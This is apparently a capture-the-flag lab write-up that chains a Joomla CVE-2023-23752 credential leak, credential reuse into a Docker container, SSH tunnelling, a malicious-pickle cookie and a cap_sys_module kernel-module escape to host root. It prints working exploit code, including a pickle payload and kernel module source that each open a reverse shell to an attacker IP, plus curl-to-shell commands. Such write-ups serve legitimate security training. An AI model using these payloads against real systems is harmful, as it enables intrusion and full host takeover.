The small bit of information here alludes to Docker priv-esc. Let’s keep the scope wide in case we’re being red-herringed.


Recon

nmap -sS -Pn -sC -sV --script=vuln -T4 -A 10.144.155.74

Very interesting highlights from the detailed Nmap…

nmap vuln scan output part 1

I rearranged the output screenshots a bit to make sure this one is last.

nmap vuln scan final output

This is almost too many goldmines.

What we know so far:

Open Ports: 22, 80, 2222.

Potential subdomains:

  • /administrator/
  • /administrator/index.php
  • htaccess.txt: Joomla!
  • README.txt
  • /cache/
  • /images/
  • /includes/
  • /modules/
  • /templates/
  • /tm/

Potential exploits:

Path: http://10.144.155.74:80/ — Form id: login-form-16 — Form action: /index.php
Path: http://10.144.155.74:80/index.php/component/users/remind?Itemid=101 — Form id: user-registration
Path: http://10.144.155.74:80/index.php/component/users/reset?Itemid=101 — Form id: user-registration

That’s quite a bit to start with.

Let’s do a quick confirmation on the open ports and running services with a less vuln-oriented scan:

nmap -p- -sV -sC 10.144.155.74
nmap service version scan confirming ports

I do love hacking some Joomla. Ports and services confirmed.

Time to pay a visit in-browser.

Joomla Cassiopeia default template in browser

Cassiopeia is the default Joomla 4.x template, but let’s stop to appreciate the history lesson.

Cassiopeia is rooted in Greek Mythology. Queen of the mythological Phoenician realm of Ethiopia. Mother of Andromeda. Wife of King Cepheus. Placed in the sky by Poseidon as a constellation. She’s frequently known and depicted as the “Enthroned Woman.”

It’s also the name of a quite literal constellation. Cassiopeia in Greek means “she whose words excel.”

Well, I am not such a big fan of spreadsheets, so this better focus on the Joomla and beyond.

Updated “What We Know” list:

  • We are working with Joomla CMS
  • The robots.txt is a Joomla fingerprint
  • Two open SSH ports: 22 and 2222 are suggestive of two different environments, aka a container
  • Port 80 is open
  • Server: Apache 2.4.58 on Ubuntu

Joomla Enumeration

For Joomla enum, we want to find the exact version, map out the attack surface by way of recently installed extensions or plugins, as well as find any other available user enumeration hits.

joomscan -u http://10.144.155.74

While joomscan runs, we’ll also run a curl to directly check the version:

curl http://10.144.155.74/administrator/manifests/files/joomla.xml

The curl returns deja vu along with the output:

curl joomla.xml returning version 4.2

If I’m not mistaken, I recently exploited Joomla CVE-2023-23752: Unauthenticated API endpoint leaking DB credentials.

Let’s review the Joomscan, and then we’ll run a searchsploit on the Joomla version number, 4.2:

joomscan output saying not vulnerable

Nice try, JoomScan. “Not vulnerable” output is from a 2018 signature base. We know that’s not up to date.

Let’s ‘sploit it.

searchsploit joomla 4.2
searchsploit results for joomla 4.2 showing CVE-2023-23752

We want the very last one in the exploit list: Unauthenticated information disclosure.


CVE-2023-23752: API Credential Leak

The robots.txt is trying (and failing) to hide the /api/ path. Let’s take a looksy…

curl http://10.144.155.74/api/index.php/v1/config/application?public=true
curl API endpoint leaking plaintext DB credentials

“Not vulnerable,” they said (laughs in evil villain).

To deliver in a more professional context, these are plaintext root credentials:

  • User: root
  • Password: RootPassword@1234
  • DB: joomla_db

As promised and delivered by CVE-2023-23752, the API endpoint hath leaked the credentials.

Time to visit TARGET_IP/administrator.

Joomla administrator login page

We have the root user login, but that’s not necessarily the Joomla admin credential combo. Let’s try a brute-force with admin:admin.

Joomla, you were already telling me too much. Now you’re just drunk and loud.

I don’t have all day to brute-force in analog. We can leverage the CVE further by checking additional API routes for leaked goodness. The improper authentication-less access check spans config, users, and more.

curl http://10.144.155.74/api/index.php/v1/users?public=true

Much better. Highlighted, we have:

  • Username: root
  • Email: mail@tourism.thm
  • Best guess at a password: RootPassword@1234

At the end of the first curl output, we can see that there are 3 other pages (4 total) to examine:

Let’s see what else we can unearth. Use the URL-encoded version here or curl will interpret the brackets as a range expression.

curl "http://10.144.155.74/api/index.php/v1/config/application?public=true&page%5Boffset%5D=20&page%5Blimit%5D=20"
curl "http://10.144.155.74/api/index.php/v1/config/application?public=true&page%5Boffset%5D=40&page%5Blimit%5D=20"
curl "http://10.144.155.74/api/index.php/v1/config/application?public=true&page%5Boffset%5D=60&page%5Blimit%5D=20"

Holy configuration details.

On the page 2 curl, at the beginning and end of the highlighted area, we can see a Joomla application secret key gJ48pkrbAgOwhNgn and the mail@tourism.thm email.

page 3 curl showing /var/www/html document root and SMTP port 25

On page 3, the /var/www/html is the default Apache document root, which is the path a Joomla docker container image would use. Since the synopsis alluded to a Docker/container, heavily noted. I also see SMTP being served over Port 25 in the same output.


SSH into Container 1

Our Nmap scans both pointed to Port 22 and Port 2222 running SSH. Let’s try the obvious.

ssh root@10.144.155.74 -p 2222
SSH login successful as root on port 2222

Rooted and pwned. First:

whoami
hostname
whoami returns root, hostname returns f5eb774507f2

root and f5eb774507f2 noted.

Let’s investigate the Docker situation:

ls /.dockerenv

We are confirmed inside of container numero uno.

/.dockerenv exists confirming we are inside a Docker container

We need to feel out our surroundings.

ip a
ip a showing container IP 192.168.100.10/24

192.168.100.10/24 is our container’s IP and CIDR notation. Let’s see if we can Nmap our way around with this new information:

nmap 192.168.100.0/24

Things are getting spicy.

  • 192.168.100.1 is the Docker host aka our original target. Now that we’re inside, ports 22/80/2222/5000 are all visible.
  • 192.168.100.10 is us now in Container 1
  • 192.168.100.12 is Container 2 voyage_priv2 on port 5000, which we know is not externally exposed.

We’ll target Port 5000 next for priv-esc-ability. Port 5000 is commonly used as a default port for local development servers, particularly for Python Flask applications.

curl http://192.168.100.12:5000
curl port 5000 returning Tourism Secret Finance Panel

The “Tourism Secret Finance Panel” appears to be a dev panel.


SSH Port Forwarding to Container 2

We could interact with it from inside the container, but let’s go easy on ourselves and use our browser to set up a tunnel first. In a new/different terminal:

ssh -L 5000:192.168.100.12:5000 -p 2222 root@10.144.155.74 -N

It will seem like it’s hanging because the -N flag holds the tunnel open. If you see this, you’re good to move forward:

SSH tunnel hanging as expected with -N flag

Now we visit http://127.0.0.1:5000 in our browser.

Tourism Secret Finance Panel login page in browser

Our tunnel is working. Let’s try admin:admin

Flask app login successful with admin:admin

Brute force success on the first, albeit obvious, attempt!


Operation Malicious Pickle

Since this is confirmed a Port 5000 Python/Flask app, Flask has to maintain its session somewhere. That somewhere is likely cookies. Flask’s default session cookie is usually pickle when devs roll out their own because it’s easy AF to serialize Python objects.

Let’s peek into the cookie jar. Inspect/Browser tools (F12) > Session > Cookies > and here’s our session cookie:

browser devtools showing hex-encoded session cookie

The session cookie is:
80049526000000000000007d94288c0475736572948c0561646d696e948c07726576656e7565948c05383530303094752e

The 8004 at the beginning is classic pickle. Those are the 4 magic bytes. This is definitely hex-encoded, serialized Python pickle data.

First, we must decode before we weaponize. In a new terminal:

python3 -c "
import binascii, pickle
cookie = '80049526000000000000007d94288c0475736572948c0561646d696e948c07726576656e7565948c05383530303094752e'
print(pickle.loads(binascii.unhexlify(cookie)))
"
decoded pickle cookie showing user admin revenue 85000

{'user': 'admin', 'revenue': '85000'}

Not encrypted, not signed, no integrity—just a server fully trusting whatever pickle data sent its way.

It’s time for: Operation Malicious Pickle.

Steps:

  1. Start a listener on Port 4444
  2. Create our operation_malicious_pickle.py script
  3. Watch our malicious payload print in the listener, then…
  4. Inject it

Step 1 — fresh terminal:

nc -lvnp 4444

Step 2:

cat > operation_malicious_pickle.py << 'EOF'
import pickle
import binascii
import os

class Exploit:
    def __reduce__(self):
        cmd = "bash -i >& /dev/tcp/192.168.128.19/4444 0>&1"
        return (__import__("subprocess").Popen, (["bash", "-c", cmd],))

payload = pickle.dumps(Exploit())
print(binascii.hexlify(payload).decode())
EOF
python3 operation_malicious_pickle.py
operation_malicious_pickle.py output showing hex payload

And now we have our hex to craft. Make sure the listener is doing its job, then:

curl -H "Cookie: session_data=8004955b000000000000008c0a73756270726f63657373948c05506f70656e9493945d94288c0462617368948c022d63948c2c62617368202d69203e26202f6465762f7463702f3139322e3136382e3132382e31392f3434343420303e26319465859452942e" http://127.0.0.1:5000/
curl injecting malicious pickle cookie

Oh yeahhh. We are in Container 2. Let’s grab Flag 1:

cat /root/user.txt
user.txt flag captured from Container 2

LinPEAS: Escaping Container 2

Now we need to escape the host. We need to run LinPEAS to surmise how to escape. We first need to see if curl or wget is installed on Container 2.

which curl wget
which curl wget showing wget is available

Score. wget is available. Let’s curl LinPEAS on verbose mode.

curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh

The container has zero outbound internet access.

curl to github failing due to no outbound internet

We’ll transfer it from our native terminal via an HTTP server on 8080 instead. Back in a terminal window (not a shell):

cd /usr/share/peass/linpeas && python3 -m http.server 8080
python3 http.server running on port 8080

Now jump back over to Container 2, and pull the connection from your IP’s http server being served on 8080:

curl http://192.168.128.19:8080/linpeas.sh | sh
LinPEAS running inside Container 2

Hello, friendly little pea. Let it run. It may take a few minutes in the container environment.

So glad LinPEAS is color coded. After a few minutes of sifting, the Dangerous Capabilities section caught and held my attention.

LinPEAS Dangerous Capabilities showing cap_sys_module

cap_sys_module is our precious find.

Bonus points for our /root directory listing:

/root directory listing showing revshell kernel module artifacts

Our /root listings are:

.revshell.ko.cmd
.revshell.mod.cmd
.revshell.mod.o.cmd
.revshell.o.cmd

Whoever created this left a guide of what to do.

Here’s the final pieces of the puzzle that we can use to build our kernel module exploit.


cap_sys_module: Kernel Module Escape

Let’s build. Start another listener in a fresh terminal:

nc -lvnp 1234

Head back to Container 2 to create a working directory and kernel module source:

mkdir /tmp/escape && cd /tmp/escape
cat > revshell.c << 'EOF'
#include <linux/kmod.h>
#include <linux/module.h>
MODULE_LICENSE("GPL");
MODULE_AUTHOR("Exploit");
MODULE_DESCRIPTION("Reverse shell module");
MODULE_VERSION("1.0");
char* argv[] = {"/bin/bash","-c","bash -i >& /dev/tcp/192.168.128.19/1234 0>&1", NULL};
static char* envp[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", NULL};
static int __init reverse_shell_init(void) {
    return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
}
static void __exit reverse_shell_exit(void) {
    printk(KERN_INFO "Exiting\n");
}
module_init(reverse_shell_init);
module_exit(reverse_shell_exit);
EOF
revshell.c kernel module source written to /tmp/escape

Still in Container 2:

cat > Makefile << 'EOF'
obj-m +=revshell.o
all:
	make -C /lib/modules/$(uname -r)/build M=$(PWD) modules
clean:
	make -C /lib/modules/$(uname -r)/build M=$(PWD) clean
EOF

And lastly, compile:

make

Hit enter, and turn your eyes to the listener on Port 1234.

If you get a missing separator error in Container 2, type this, then make again and enter once more:

printf 'obj-m +=revshell.o\nall:\n\tmake -C /usr/src/linux-headers-6.8.0-1030-aws M=$(PWD) modules\nclean:\n\tmake -C /usr/src/linux-headers-6.8.0-1030-aws M=$(PWD) clean\n' > Makefile
make compiling the kernel module

Run this last one, and then…

insmod revshell.ko

Eyes on the listener:

listener receiving reverse shell from kernel module

ROOT.

We are OUT of the Docker thanks to kernel module abuse and we are now on the host as root.

cat /root/root.txt
root.txt flag captured on host

WOOOOOOO.

final celebration screenshot

Full Attack Chain

  1. CVE-2023-23752 — Joomla API leaks DB creds
  2. Credential reuse — SSH into Container 1 on port 2222
  3. Internal network discovery — found Container 2 at 192.168.100.12:5000
  4. SSH port forwarding — tunneled to hidden Flask app
  5. Insecure pickle deserialization — RCE on Container 2, user flag
  6. cap_sys_module — kernel module escape to host root, root flag